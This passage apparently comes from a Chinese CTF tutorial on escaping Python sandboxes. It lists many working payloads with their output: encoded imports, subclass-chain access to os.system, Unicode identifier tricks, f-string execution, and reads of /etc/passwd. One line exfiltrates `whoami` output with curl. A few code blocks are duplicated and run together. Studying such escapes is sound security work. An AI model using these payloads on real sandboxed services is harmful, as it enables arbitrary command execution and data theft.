'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

这里是在没有禁用函数时的情况, 可以看到里面有一些一般不会禁用的函数比如说对文件的操作函数 openintchr等,还有dict函数

一个模块对象有一个由字典对象实现的命名空间,属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict[“x”],我们就可以用一些编码来绕过字符明文检测。

所以可以有

__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('sh')   

等同于
__builtins__.__dict__[_import__]('os').system('sh')

路径引入os等模块

因为一般都是禁止引入敏感包,当禁用os时,实际上就是 sys.modules[‘os’]=None

而因为一般的类linux系统的python os路径都是/usr/lib/python2.7/os.py ,所以可以通过路径引入

import sys
sys.modules['os']='/usr/lib/python2.7/os.py'

reload

禁止引用某些函数时,可能会删除掉一些函数的引用,比如:

del __builtins__.__dict__['__import__']

这样就无法再引入,但是我们可以用 reload(builtins) 重载builtins模块恢复内置函数

但是reload本身也是builtins模块的函数,其本身也可能会被禁掉

在可以引用包的情况下,我们还可以使用imp模块

import __builtins__
import imp
imp.reload(__builtin__)

这样就可以得到完整的builtins模块了,需要注意的是需要先import builtins ,如果不写的话,虽然builtins模块已经被引入,但是它实际上是不可见的,即它仍然无法被找到,这里是这么说的:

引入imp模块的reload函数能够生效的前提是,在最开始有这样的程序语句import builtins,这个import的意义并不是把内建模块加载到内存中,因为内建早已经被加载了,它仅仅是让内建模块名在该作用域中可见。

再如果imp的reload被禁用掉呢?同时禁用掉路径引入需要的sys模块呢?
可以尝试上面的execfile()函数,或者open函数打开文件,exec执行代码

execfile('/usr/lib/python2.7/os.py')

函数名字符串扫描过滤的绕过

假如沙箱本身不是通过对包的限制,而是扫描函数字符串,关键码等等来过滤的;而关键字和函数没有办法直接用字符串相关的编码或解密操作

这里就可以使用: getattr__getattribute__

getattr(__import__("os"),"flfgrz".encode("rot13"))('ls')

getattr(__import__("os"),"metsys"[::-1])('ls')

__import__("os").__getattribute__("metsys"[::-1])('ls')

__import__("os").__getattribute__("flfgrz".encode("rot13"))('ls')

runoob :http://www.runoob.com/python/python-func-getattr.html

如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。
如果某个类定义了 getattribute() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。


绕过删除模块或方法

在一些沙箱中,可能会对某些模块或者模块的某些方法使用 del 关键字进行删除。 例如删除 builtins 模块的 eval 方法。

>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
KeyError: 'eval'

reload 重新加载

reload 函数可以重新加载模块,这样被删除的函数能被重新加载

>>> __builtins__.__dict__['eval']
<built-in function eval>
>>> del __builtins__.__dict__['eval']
>>> __builtins__.__dict__['eval']
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
KeyError: 'eval'
>>> reload(__builtins__)
<module '__builtin__' (built-in)>
>>> __builtins__.__dict__['eval']
<built-in function eval> 

在 Python 3 中,reload() 函数被移动到 importlib 模块中,所以如果要使用 reload() 函数,需要先导入 importlib 模块。

恢复 sys.modules

一些过滤中可能将 sys.modules['os'] 进行修改,这个时候即使将 os 模块导入进来,也是无法使用的.

>>> sys.modules['os'] = 'not allowed'
>>> __import__('os').system('ls')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'str' object has no attribute 'system'

由于很多别的命令执行库也使用到了 os,因此也会受到相应的影响,例如 subprocess

>>> __import__('subprocess').Popen('whoami', shell=True)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 688, in <module>
    class Popen(object):
  File "/home/kali/.pyenv/versions/3.8.10/lib/python3.8/subprocess.py", line 1708, in Popen
    def _handle_exitstatus(self, sts, _WIFSIGNALED=os.WIFSIGNALED,
AttributeError: 'str' object has no attribute 'WIFSIGNALED'

由于 import 导入模块时会检查 sys.modules 中是否已经有这个类,如果有则不加载,没有则加载.因此我们只需要将 os 模块删除,然后再次导入即可。

sys.modules['os'] = 'not allowed'

del sys.modules['os']
import os
os.system('ls')

基于继承链获取

在清空了 __builtins__的情况下,我们也可以通过索引 subclasses 来找到这些内建函数。

# 根据环境找到 bytes 的索引,此处为 5
>>> ().__class__.__base__.__subclasses__()[5]
<class 'bytes'>

object 命令引入执行

object 类中集成了很多基础函数,我们也可以用object来进行调用的操作

对于字符串对象:

>>> ().__class__.__bases__
(<type 'object'>,)

通过base方法可以获取上一层继承关系

>>> ().__class__.__bases__[0]
<type 'object'>

通过mro方法获取继承关系

所以最常见的创建object对象的方法:

>>> "".__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

>>> "".__class__.__mro__[2]
<type 'object'>

在获取之后,返回的是一个元组,通过下标+subclasses的方法可以获取所有子类的列表。而subclasses()第40个是file类型的object。

>>> ().__class__.__bases__[0].__subclasses__()[40]
<type 'file'>
>>> "".__class__.__mro__[2].__subclasses__()[40]
<type 'file'>

所以可以读文件

().__class__.__bases__[0].__subclasses__()[40]("jail.py").read()
"".__class__.__mro__[2].__subclasses__()[40]("jail.py").read()

同时写文件或执行任意命令

().__class__.__bases__[0].__subclasses__()[40]("jail.py","w").write("1111")


().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("jail.py").read()' )

可以执行命令寻找subclasses下引入过os模块的模块

>>> [].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> [].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> "".__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']
<module 'os' from '/usr/lib/python2.7/os.pyc'>

绕过基于字符串匹配的过滤

字符串变换:

字符串拼接

在我们的 payload 中,例如如下的 payload,__builtins__ file 这些字符串如果被过滤了,就可以使用字符串变换的方式进行绕过。

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['fi'+'le']('E:/passwd').read()

当然,如果过滤的是 __class__ 或者 __mro__ 这样的属性名,就无法采用变形来绕过了。

base64 变形

base64 也可以运用到其中

>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('ls')
app.py jail.py

逆序

>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
root
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
root

注意 exec 与 eval 在执行上有所差异。

进制转换

八进制:

exec("print('RCE'); __import__('os').system('ls')")
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")

exp:

s = "eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False])"
octal_string = "".join([f"\\{oct(ord(c))[2:]}" for c in s])
print(octal_string)

十六进制:

exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29") 

exp:

s = "eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))"
octal_string = "".join([f"\\x{hex(ord(c))[2:]}" for c in s])
print(octal_string)xxxxxxxxxx s = "eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))"octal_string = "".join([f"\\x{hex(ord(c))[2:]}" for c in s])print(octal_string)1 2 3 s = "eval(eval(list(dict(v_a_r_s=True))[len([])][::len(list(dict(aa=()))[len([])])])(__import__(list(dict(b_i_n_a_s_c_i_i=1))[False][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b___b_a_s_e_6_4=1))[False][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyBIYWNrZWQ6IGBpZGAnKS5yZWFkKCkg=True))[False]))" octal_string = "".join([f"\\x{hex(ord(c))[2:]}" for c in s]) print(octal_string) 

其他编码

hex、rot13、base32 等。

过滤了属性名或者函数名:

在 payload 的构造中,我们大量的使用了各种类中的属性,例如 __class____import__ 等。

getattr 函数

getattr 是 Python 的内置函数,用于获取一个对象的属性或者方法。其语法如下:

getattr(object, name[, default]) 

这里,object 是对象,name 是字符串,代表要获取的属性的名称。如果提供了 default 参数,当属性不存在时会返回这个值,否则会抛出 AttributeError。

>>> getattr({},'__class__')
<class 'dict'>
>>> getattr(os,'system')
<built-in function system>
>>> getattr(os,'system')('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh
>>> getattr(os,'system111',os.system)('cat /etc/passwd')
root:x:0:0:root:/root:/usr/bin/zsh

这样一来,就可以将 payload 中的属性名转化为字符串,字符串的变换方式多种多样,更易于绕过黑名单。

__getattribute__ 函数

__getattribute__ 于,它定义了当我们尝试获取一个对象的属性时应该进行的操作。

它的基本语法如下:

class MyClass:
    def __getattribute__(self, name):

getattr 函数在调用时,实际上就是调用这个类的 __getattribute__ 方法。

>>> os.__getattribute__
<method-wrapper '__getattribute__' of module object at 0x7f06a9bf44f0>
>>> os.__getattribute__('system')
<built-in function system>

__getattr__ 函数

__getattr__ 是 Python 的一个特殊方法,当尝试访问一个对象的不存在的属性时,它就会被调用。它允许一个对象动态地返回一个属性值,或者抛出一个 AttributeError 异常。

如下是 __getattr__ 方法的基本形式:

class MyClass:
    def __getattr__(self, name):
        return 'You tried to get ' + name

在这个例子中,任何你尝试访问的不存在的属性都会返回一个字符串,形如 “You tried to get X”,其中 X 是你尝试访问的属性名。

__getattribute__ 不同,__getattr__ 只有在属性查找失败时才会被调用,这使得 __getattribute__ 可以用来更为全面地控制属性访问。

如果在一个类中同时定义了 __getattr____getattribute__,那么无论属性是否存在,__getattribute__ 都会被首先调用。只有当 __getattribute__ 抛出 AttributeError 异常时,__getattr__ 才会被调用。

另外,所有的类都会有__getattribute__属性,而不一定有__getattr__属性。

__globals__ 替换

__globals__ 可以用 func_globals 直接替换;

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals
''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__("__glo"+"bals__")

__mro__、__bases__、__base__互换

三者之间可以相互替换

''.__class__.__mro__[2]
[].__class__.__mro__[1]
{}.__class__.__mro__[1]
().__class__.__mro__[1]
[].__class__.__mro__[-1]
{}.__class__.__mro__[-1]
().__class__.__mro__[-1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__

过滤 import

python 中除了可以使用 import 来导入,还可以使用 __import__importlib.import_module 来导入模块

__import__

1 __import__('os') 

importlib.import_module

注意:importlib 需要进行导入之后才能够使用,所以有些鸡肋。。。

import importlib
importlib.import_module('os').system('ls')

__loader__.load_module

如果使用 audithook 的方式进行过滤,上面的两种方法就无法使用了,但是 __loader__.load_module 底层实现与 import 不同, 因此某些情况下可以绕过.

>>> __loader__.load_module('os')
<module 'os' (built-in)>

过滤了 []

如果中括号被过滤了,则可以使用如下的两种方式来绕过:

  1. 调用__getitem__()函数直接替换;
  2. 调用 pop()函数(用于移除列表中的一个元素,默认最后一个元素,并且返回该元素的值)替换;
''.__class__.__mro__[-1].__subclasses__()[200].__init__.__globals__['__builtins__']['__import__']('os').system('ls')

# __getitem__()替换中括号[]
''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('ls')

# pop()替换中括号[],结合__getitem__()利用
''.__class__.__mro__.__getitem__(-1).__subclasses__().pop(200).__init__.__globals__.pop('__builtins__').pop('__import__')('os').system('ls')

getattr(''.__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(200).__init__.__globals__,'__builtins__').__getitem__('__import__')('os').system('ls')

过滤了 ‘’

str 函数

如果过滤了引号,我们 payload 中构造的字符串会受到影响。其中一种方法是使用 str() 函数获取字符串,然后索引到预期的字符。将所有的字符连接起来就可以得到最终的字符串。

>>> ().__class__.__new__
<built-in method __new__ of type object at 0x9597e0>
>>> str(().__class__.__new__)
'<built-in method __new__ of type object at 0x9597e0>'
>>> str(().__class__.__new__)[21]
'w'
>>> str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
'whoami'

chr 函数

也可以使用 chr 加数字来构造字符串

>>> chr(56)
'8'
>>> chr(100)
'd'
>>> chr(100)*40
'dddddddddddddddddddddddddddddddddddddddd'

list + dict

使用 dict 和 list 进行配合可以将变量名转化为字符串,但这种方式的弊端在于字符串中不能有空格等。

list(dict(whoami=1))[0] 

__doc__

__doc__ 变量可以获取到类的说明信息,从其中索引出想要的字符然后进行拼接就可以得到字符串:

().__doc__.find('s')
().__doc__[19]+().__doc__[86]+().__doc__[19]

bytes 函数

bytes 函数可以接收一个 ascii 列表,然后转换为二进制字符串,再调用 decode 则可以得到字符串

bytes([115, 121, 115, 116, 101, 109]).decode() 

过滤了 +

过滤了 + 号主要影响到了构造字符串,假如题目过滤了引号和加号,构造字符串还可以使用 join 函数,初始的字符串可以通过 str() 进行获取.具体的字符串内容可以从 __doc__ 中取,

str().join(().__doc__[19],().__doc__[23]) 

过滤了数字

如果过滤了数字的话,可以使用一些函数的返回值获取。

例如:

0:int(bool([]))Flaselen([])any(())

1:int(bool([""]))Trueall(())int(list(list(dict(a၁=())).pop()).pop())

有了 0 之后,其他的数字可以通过运算进行获取:

0 ** 0 == 1 
1 + 1 == 2 
2 + 1 == 3 
2 ** 2 == 4 

当然,也可以直接通过 repr 获取一些比较长字符串,然后使用 len 获取大整数。

>>> len(repr(True))
4
>>> len(repr(bytearray))
19

第三种方法,可以使用 len + dict + list 来构造,这种方式可以避免运算符的的出现

0 -> len([])
2 -> len(list(dict(aa=()))[len([])])
3 -> len(list(dict(aaa=()))[len([])])

第四种方法: unicode 会在后续的 unicode 绕过中介绍

过滤了空格

通过 ()、[] 替换

过滤了运算符

== 可以用 in 来替换

or 可以用 + -|来替换

例如

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] or i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
    print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

and 可以用& *替代

例如

for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
    ans = i[0]==i[1] and i[2]==i[3]
    print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
    print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

过滤了 ()

  1. 利用装饰器 @
  2. 利用魔术方法,例如 enum.EnumMeta.__getitem__

f 字符串执行

f 字符串算不上一个绕过,更像是一种新的攻击面,通常情况下用来获取敏感上下文信息,例如获取环境变量

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

也可以直接 RCE

>>> f'{__import__("os").system("whoami")}'
root

>>> f"{__builtins__.__import__('os').__dict__['popen']('ls').read()}"
app.py jail.py

过滤了内建函数

eval + list + dict 构造

假如我们在构造 payload 时需要使用 str 函数、bool 函数、bytes 函数等,则可以使用 eval 进行绕过。

>>> eval('str')
<class 'str'>
>>> eval('bool')
<class 'bool'>
>>> eval('st'+'r')
<class 'str'>

这样就可以将函数名转化为字符串的形式,进而可以利用字符串的变换来进行绕过。

>>> eval(list(dict(s_t_r=1))[0][::2])
<class 'str'>

这样一来,只要 list 和 dict 没有被禁,就可以获取到任意的内建函数。如果某个模块已经被导入了,则也可以获取这个模块中的函数。

过滤了.如何获取函数

通常情况下,我们会通过点号来进行调用__import__('binascii').a2b_base64

或者通过 getattr 函数:getattr(__import__('binascii'),'a2b_base64')

如果将,.都过滤了,则可以有如下的几种方式获取函数:

  1. 内建函数可以使用eval(list(dict(s_t_r=1))[0][::2]) 这样的方式获取。

  2. 模块内的函数可以先使用__import__导入函数,然后使用 vars() j进行获取:

>>> vars(__import__('binascii'))['a2b_base64']
<built-in function a2b_base64>

unicode 绕过

Python 3 开始支持非ASCII字符的标识符,也就是说,可以使用 Unicode 字符作为 Python 的变量名,函数名等。Python 在解析代码时,使用的 Unicode Normalization Form KC (NFKC) 规范化算法,这种算法可以将一些视觉上相似的 Unicode 字符统一为一个标准形式。

>>> eval == 𝘦val
True 

相似 unicode 寻找网站:http://shapecatcher.com/ 可以通过绘制的方式寻找相似字符

个人珍藏相似 unicode脚本:

for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        if("-") in res:
            continue
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

下面是 0-9,a-z 的 unicode 字符

𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗 𝘢𝘣𝘤𝘥𝘦𝘧𝘨𝘩𝘪𝘫𝘬𝘭𝘮𝘯𝘰𝘱𝘲𝘳𝘴𝘵𝘶𝘷𝘸𝘹𝘺𝘻  𝘈𝘉𝘊𝘋𝘌𝘍𝘎𝘏𝘐𝘑𝘒𝘔𝘕𝘖𝘗𝘘𝘙𝘚𝘛𝘜𝘝𝘞𝘟𝘠𝘡  

下划线可以使用对应的全角字符进行替换:_

使用时注意第一个字符不能为全角,否则会报错:

1 2 3 4 5 6 7 >>> print(__name__) __main__ >>> print(__name__)  File "<stdin>", line 1    print(__name__)          ^ SyntaxError: invalid character '_' (U+FF3F) 

需要注意的是,某些 unicode 在遇到 lower() 函数时也会发生变换,因此碰到 lower()、upper() 这样的函数时要格外注意。

这个方法学名叫做Non-ASCII Identifies

image-20230912223906199

一道有趣的pyjail题目分析 - 先知社区 (aliyun.com)


绕过命名空间限制

部分限制

有些沙箱在构建时使用 exec 来执行命令,exec 函数的第二个参数可以指定命名空间,通过修改、删除命名空间中的函数则可以构建一个沙箱。例子来源于 iscc_2016_pycalc。

def _hook_import_(name, *args, **kwargs):
    module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
                        'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
                        'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
                        'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
                        'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
                        'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
                        'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
                        'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
                        'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
                        'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
                        'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
                        'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
                        'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
    for forbid in module_blacklist:
        if name == forbid:        # don't let user import these modules
            raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    # normal modules can be imported
    return __import__(name, *args, **kwargs)

def sandbox_exec(command):      # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_    # hook import
    del __sandboxed_builtins__['open']
    _global = {
        '__builtins__': __sandboxed_builtins__
    }

    ...
        exec command in _global     # do calculate in a sandboxed  
    ...
  1. 沙箱首先获取 __builtins__,然后依据现有的 __builtins__ 来构建命名空间。
  2. 修改 __import__ 函数为自定义的_hook_import_
  3. 删除 open 函数防止文件操作
  4. exec 命令。

绕过方式:

由于 exec 运行在特定的命名空间里,可以通过获取其他命名空间里的 __builtins__(这个__builtins__保存的就是原始__builtins__的引用),比如 types 库,来执行任意命令:

1 2 __import__('types').__builtins__ __import__('string').__builtins__ 

完全限制(no builtins)

如果沙箱完全清空了 __builtins__, 则无法使用 import,如下:

>>> eval("__import__", {"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
>>> eval("__import__")
<built-in function __import__>

>>> exec("import os")
>>> exec("import os",{"__builtins__": {}},{"__builtins__": {}})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
ImportError: __import__ not found

这种情况下我们就需要利用 python 继承链来绕过,其步骤简单来说,就是通过 python 继承链获取内置类, 然后通过这些内置类获取到敏感方法例如 os.system 然后再进行利用。

具体原理可见:Python沙箱逃逸小结

常见的一些 RCE payload 如下:

# os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# subprocess 
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen'][0]('ls')

# builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]

# help
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_GeneratorContextManagerBase" and "os" in x.__init__.__globals__ ][0]["__builtins__"]['help']

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]['__builtins__']

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")

#imp
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

# ctypes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('ctypes').CDLL(None).system('ls /'.encode())

# multiprocessing
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__('multiprocessing').Process(target=lambda: __import__('os').system('curl localhost:9999/?a=`whoami`')).start()

常见的一些 File payload 如下:

操作文件可以使用 builtins 中的 open,也可以使用 FileLoader 模块的 get_data 方法。

[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__=="FileLoader" ][0].get_data(0,"/etc/passwd")

绕过多行限制

绕过多行限制的利用手法通常在限制了单行代码的情况下使用,例如 eval, 中间如果存在;或者换行会报错。

>>> eval("__import__('os');print(1)")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1
    __import__('os');print(1)

exec

exec 可以支持换行符与;

>>> eval("exec('__import__(\"os\")\\nprint(1)')")
1

compile

compile 在 single 模式下也同样可以使用 \n 进行换行, 在 exec 模式下可以直接执行多行代码.

eval('''eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))''')

海象表达式

海象表达式是 Python 3.8 引入的一种新的语法特性,用于在表达式中同时进行赋值和比较操作。

海象表达式的语法形式如下:

<expression> := <value> if <condition> else <value>

借助海象表达式,我们可以通过列表来替代多行代码:

>>> eval('[a:=__import__("os"),b:=a.system("id")]')
uid=1000(kali) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
[<module 'os' (frozen)>, 0]

绕过长度限制

BYUCTF_2023 中的几道 jail 题对 payload 的长度作了限制

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

题目限制不能出现数字字母,构造的目标是调用 open 函数进行读取

print(open(bytes([102,108,97,103,46,116,120,116])).read())

函数名比较好绕过,直接使用 unicode。数字也可以使用 ord 来获取然后进行相减。我这里选择的是 chr(333).

# f = 102 = 333-231 = ord('ō')-ord('ç')
# a = 108 = 333-225 = ord('ō')-ord('á')
# l = 97 = 333-236 = ord('ō')-ord('ì')
# g = 103 = 333-230 = ord('ō')-ord('æ')
# . = 46 = 333-287 = ord('ō')-ord('ğ')
# t = 116 = 333-217 = ord('ō')-ord('Ù')
# x = 120 = = 333-213 = ord('ō')-ord('Õ')

print(open(bytes([ord('ō')-ord('ç'),ord('ō')-ord('á'),ord('ō')-ord('ì'),ord('ō')-ord('æ'),ord('ō')-ord('ğ'),ord('ō')-ord('Ù'),ord('ō')-ord('Õ'),ord('ō')-ord('Ù')])).read())

但这样的话其实长度超出了限制。而题目的 eval 表示不支持分号 ;

这种情况下,我们可以添加一个 exec。然后将 ord 以及不变的 a('ō') 进行替换。这样就可以构造一个满足条件的 payload

exec("a=ord;b=a('ō');print(open(bytes([b-a('ç'),b-a('á'),b-a('ì'),b-a('æ'),b-a('ğ'),b-a('Ù'),b-a('Õ'),b-a('Ù')])).read())") 

但其实尝试之后发现这个 payload 会报错,原因在于其中的某些 unicode 字符遇到 lower() 时会发生变化,避免 lower 产生干扰,可以在选取 unicode 时选择 ord 值更大的字符。例如 chr(4434)

当然,可以直接使用 input 函数来绕过长度限制。

打开 input 输入

如果沙箱内执行的内容是通过 input 进行传入的话(不是 web 传参),我们其实可以传入一个 input 打开一个新的输入流,然后再输入最终的 payload,这样就可以绕过所有的防护。

以 BYUCTF2023 jail a-z0-9 为例:

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130]) 

即使限制了字母数字以及长度,我们可以直接传入下面的 payload(注意是 unicode)

𝘦𝘷𝘢𝘭(𝘪𝘯𝘱𝘶𝘵()) 

这段 payload 打开 input 输入后,我们再输入最终的 payload 就可以正常执行。

__import__('os').system('whoami') 

打开输入流需要依赖 input 函数,no builtins 的环境中或者题目需要以 http 请求的方式进行输入时,这种方法就无法使用了。

下面是一些打开输入流的方式:

sys.stdin.read()

注意输入完毕之后按 ctrl+d 结束输入

>>> eval(sys.stdin.read())
__import__('os').system('whoami')
root
0
>>>

